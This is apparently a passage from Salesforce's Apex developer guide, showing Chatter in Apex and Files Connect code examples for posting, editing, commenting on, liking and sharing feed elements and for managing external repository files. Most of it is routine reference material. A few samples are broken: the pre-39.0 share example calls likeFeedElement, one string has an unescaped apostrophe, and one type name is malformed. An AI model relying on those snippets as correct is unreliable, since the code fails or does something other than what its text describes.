Define an Action Link in a Template and Post with a Feed Element
This example creates the same action link and action link group as the example Define an Action Link and Post with a Feed Element,
but this example instantiates the action link group from a template.
306
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Step 1: Create the Action Link Templates
1. From Setup, enter Action Link Templates in the Quick Find box, then select Action Link Templates.
2. Use these values in a new Action Link Group Template:
ValueField
Doc ExampleName
Doc_ExampleDeveloper Name
Primary actionCategory
Once per UserExecutions Allowed
3. Use these values in a new Action Link Template:
ValueField
Doc ExampleAction Link Group Template
ApiAction Type
/services/data/{!Bindings.ApiVersion}/chatter/feed-elementsAction URL
Everyone can seeUser Visibility
{ "subjectId":"{!Bindings.SubjectId}",
"feedElementType":"FeedItem", "body":{ "messageSegments":[
{ "type":"Text", "text":"{!Bindings.Text}" } ] } }
HTTP Request Body
Content-Type: application/jsonHTTP Headers
0Position
PostLabel Key
POSTHTTP Method
4. Go back to the Action Link Group Template and select Published. Click Save.
Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It calls ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to associate the action
link group with a feed item and post it.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
307
Chatter in Apex ExamplesUsing Salesforce Features with Apex
// Add binding name-value pairs to a map.
// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String,String> bindingMap = new Map<String,String>();
bindingMap.put('ApiVersion','v33.0');
bindingMap.put('Text','This post was created by an API action link.');
bindingMap.put('SubjectId','me');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
// Define the FeedItemInput object to pass to postFeedElement
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedItemInput.subjectId = 'me';
// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Click to post a feed item.';
messageBodyInput.messageSegments.add(textSegmentInput);
// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define an associated actions capability to hold the action link
308
Chatter in Apex ExamplesUsing Salesforce Features with Apex
group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Edit a Feed Element
This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a feed element.
Feed items are the only type of feed element that can be edited.
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited post.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
Edit a Question Title and Post
This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a question title
and post.
String communityId = Network.getNetworkId();
309
Chatter in Apex ExamplesUsing Salesforce Features with Apex
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited question.';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}
Like a Feed Element
This example calls likeFeedElement(communityId, feedElementId) to like a feed element.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
Bookmark a Feed Element
This example calls updateFeedElementBookmarks(communityId, feedElementId,
isBookmarkedByCurrentUser) to bookmark a feed element.
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null,'0D5D0000000KuGh',true);
310
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Share a Feed Element (prior to Version 39.0)
Important: In API version 39.0 and later, shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) isn’t supported. See Share a Feed Element (in Version 39.0 and Later).
This example calls shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) to share a feed item (which is a type of feed element) with a group.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
Share a Feed Element (in Version 39.0 and Later)
This example calls postFeedElement(communityId, feedElement) to share a feed element.
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Look at this post I'm sharing.';
// The MessageBodyInput object holds the text in the post
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedEntityShareCapabilityInput shareInput = new
ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.feedEntityShare = shareInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
Post a Comment
This example calls postCommentToFeedElement(communityId, feedElementId, text) to post a plain text
comment to a feed element.
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh','I agree with the proposal.' );
Post a Comment with a Mention
You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use
this example, which calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload).
String communityId = null;
String feedElementId = '0D5D0000000KtW3';
311
Chatter in Apex ExamplesUsing Salesforce Features with Apex
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone in this group have an idea? ';
messageBodyInput.messageSegments.add(textSegmentInput);
mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,
feedElementId, commentInput, null);
Post a Comment with an Existing File
To post a comment and attach an existing file (already uploaded to Salesforce) to the comment, create a
ConnectApi.CommentInput object to pass to postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload).
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'I attached this file from Salesforce Files.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
312
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Post a Comment with a New File
To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload) method.
String feedElementId = '0D5D0000000KtW3';
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Enjoy this new file.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.title = 'Title';
commentInput.capabilities = commentCapabilitiesInput;
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain',
'fileName');
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, binInput);
Post a Rich-Text Comment with Inline Image
You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write
a single line of code, or use this example, which calls postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload). In this example, the image file is existing content that has already been uploaded to
Salesforce.
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
313
Chatter in Apex ExamplesUsing Salesforce Features with Apex
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);
mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);
inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
Post a Rich-Text Feed Comment with a Code Block
This example calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload) to post a comment with a code block.
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String codeSnippet = '<html>\n\t<body>\n\t\tHello, world!\n\t</body>\n</html>';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
314
Chatter in Apex ExamplesUsing Salesforce Features with Apex
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);
markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);
input.body = messageInput;
ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
Edit a Comment
This example calls updateComment(communityId, commentId, comment) to edit a comment.
String commentId;
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.
List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
// Return null within anonymous apex.
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
if (isEditable.isEditableByMe == true){
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'This is my edited comment.';
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;
315
Chatter in Apex ExamplesUsing Salesforce Features with Apex
ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,
commentId, commentInput);
}
Follow a Record
This example calls follow(communityId, userId, subjectId) to follow a record.
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null,'me','001RR000002G4Y0');
SEE ALSO:
Unfollow a Record
Unfollow a Record
When you follow a record such as a user, the call to ConnectApi.ChatterUsers.follow returns a
ConnectApi.Subscription object. To unfollow a record, pass the id property of that object to
deleteSubscription(communityId, subscriptionId).
ConnectApi.Chatter.deleteSubscription(null,'0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
Get a Repository
This example calls getRepository(repositoryId) to get a repository.
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
Get Repositories
This example calls getRepositories() to get all repositories and get the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
break;
}
}
316
Chatter in Apex ExamplesUsing Salesforce Features with Apex
Get Allowed Item Types
This example calls getAllowedItemTypes(repositoryId, repositoryFolderId, filter) with a filter
of FilesOnly to get the first ConnectApi.ContentHubItemTypeSummary.id of a file. The context user can create
allowed files in a repository folder in the external system.
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeId = null;
if(allowedItemTypes.size() > 0){
ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
Get Previews
This example calls getPreviews(repositoryId, repositoryFileId) to get all supported preview formats and their
respective URLs and number of renditions. For each supported preview format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}',new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
Get a File Preview
This example calls getFilePreview(repositoryId, repositoryFileId, formatType) with a formatType
of Thumbnail to get the thumbnail format preview along with its respective URL and number of thumbnail renditions. For each
thumbnail format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}',new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
317
Chatter in Apex ExamplesUsing Salesforce Features with Apex
}
}
Get Repository Folder Items
This example calls getRepositoryFolderItems(repositoryId, repositoryFolderId) to get the collection of
items in a repository folder. For files, we show the file’s name, size, external URL, and download URL. For folders, we show the folder’s
name, description, and external URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
ConnectApi.RepositoryFileSummary fileSummary = item.file;
if(fileSummary != null){
System.debug(String.format('File item - name: \'\'{0}\'\', size: {1}, external URL:
\'\'{2}\'\', download URL: \'\'{3}\'\'',new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
}else{
ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
System.debug(String.format('Folder item - name: \'\'{0}\'\', description:
\'\'{1}\'\'',new String[]{ folderSummary.name, folderSummary.description}));
}
}
Get a Repository Folder
This example calls getRepositoryFolder(repositoryId, repositoryFolderId) to get a repository folder.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'\'{0}\'\', description: \'\'{1}\'\', external
URL: \'\'{2}\'\', folder items URL: \'\'{3}\'\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));
Get a Repository File Without Permissions Information
This example calls getRepositoryFile(repositoryId, repositoryFileId) to get a repository file without permissions
information.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
318
Chatter in Apex ExamplesUsing Salesforce Features with Apex
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
Get a Repository File with Permissions Information
This example calls getRepositoryFile(repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo) to get a repository file with permissions information.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'',new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'',new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
Create a Repository File Without Content (Metadata Only)
This example calls addRepositoryItem(repositoryId, repositoryFolderId, file) to create a file without
binary content (metadata only) in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
319
Chatter in Apex ExamplesUsing Salesforce Features with Apex
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
Create a Repository File with Content
This example calls addRepositoryItem(repositoryId, repositoryFolderId, file, fileData) to create
a file with binary content in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
Final String newFileName = 'new folder item name.txt';
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = newFileName;
newItem.fields.add(fieldValueInput);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
320
Chatter in Apex ExamplesUsing Salesforce Features with Apex
//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);
final ConnectApi.RepositoryFolderItem newFolderItem =
ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
ConnectApi.BinaryInput Class
Update a Repository File Without Content (Metadata Only)
This example calls updateRepositoryFile(repositoryId, repositoryFileId, file) to update the metadata
of a file in a repository folder. After the file is updated, we show the file’s ID, name, description, external URL, download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
